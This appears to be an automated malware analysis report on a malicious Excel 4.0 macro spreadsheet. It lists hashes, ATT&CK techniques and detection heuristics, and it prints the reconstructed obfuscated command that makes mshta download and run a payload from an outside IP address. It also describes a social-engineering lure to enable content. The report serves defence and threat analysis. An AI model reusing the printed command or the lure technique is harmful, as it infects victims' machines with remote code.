Office (OLE) / .XLS malware analysis — malicious · 99a673a62ecad396

MALICIOUS

Office (OLE) / .XLS

65.7 KB Created: 2021-12-16 23:53:43 Authoring application: Microsoft Excel

MD5: 1daa941b1e4cdc7ad10917bf8cc633a8 SHA-1: fbb6ac113c9fa82d3b8e1a2686ff94937415ab95 SHA-256: 99a673a62ecad396147d85ad82e9a2ff4debd5f8d8865b6574adddd1046499bc

100 Risk Score

Malware Insights

MITRE ATT&CK

T1204.002 Malicious File: User Execution: Malicious File T1059.005 Command and Scripting Interpreter: Visual Basic

The sample is an Excel 4.0 (XLM) macro-enabled spreadsheet. It contains an Auto_Open macro that is triggered upon opening the file. The macro executes a command to download a payload from the URL "http://87.251.86.178/pp/oo.html" using "mshta.exe". The document body also contains a lure to "Enable Editing" and "Enable Content" to bypass security warnings. The reconstructed command is "cmd /c m^sh^t^a h^tt^p^:/^/87.251.86.178/pp/oo.html".

Heuristics 3

Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME

oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN

Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
Macro/content-enable lure medium SE_ENABLE_LURE

Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`xlm_macros.txt` `5b6a229f32f262b2c382f3c832a9f8a5e27f96ac7637e45dc67edc9bb251f152`	xlm-macro	oletools.olevba.extract_all_macros (XLM macro listing)	1514 bytes

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